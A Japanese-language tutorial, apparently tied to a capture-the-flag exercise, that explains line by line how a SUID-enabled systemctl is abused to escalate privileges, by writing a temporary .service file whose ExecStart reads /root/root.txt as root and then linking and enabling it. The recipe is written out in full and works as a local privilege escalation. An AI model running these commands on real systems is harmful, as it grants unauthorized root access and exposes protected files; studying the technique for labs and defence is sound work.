systemctlコマンドとSUIDを使った権限昇格の仕組みを解説します。
元のコードは ここです。
権限昇格の仕組み
下記のコマンド群の解説していきます。
まずは結論として一時的に サービス(デーモン)を作成し、起動することでroot権限で cat /root/root.txt > /tmp/output
を実行しています。
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
1行目の解説
TF=$(mktemp).service
ここではサービスファイルをを作成し、変数TFにフルパスを代入しています。
mktempコマンドは一時的なファイルを作成するコマンドです。それに .service
をつけて、サービスファイルとしています。
$TFの値
$ mktemp
/var/folders/1m/3xlrqw6d2xl4p2j691g_16680000gp/T/tmp.SRNifRlD
$ TF=$(mktemp).service
$ echo $TF
/var/folders/1m/3xlrqw6d2xl4p2j691g_16680000gp/T/tmp.qj0NJCLX.service
2-6行目の解説
echo '[Service] Type=oneshot ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output" [Install] WantedBy=multi-user.target' > $TF
ここは一塊になっています。シングルクォーテーションの間の文字列を先程作成したサービスファイルに書き込んでいます。
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
の部分はサービスとして起動したときに root権限として実行されるコマンドになります。よってこの部分が肝になります。
serviceファイルの中身
$ cat $TF
[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target
7行目の解説
/bin/systemctl link $TF
ここでは サービスファイルのパスを systemctl コマンドに登録しています。これを行うことで systemctlコマンドを実行したときにサービスファイルを見つけることができるようになります。
8行目の解説
/bin/systemctl enable --now $TF
ここでsystemctlコマンドを起動しています。その結果として root権限でサービスファイルの中身…つまり、/bin/sh -c "cat /root/root.txt > /tmp/output"
が実行されます。
以上、解説です。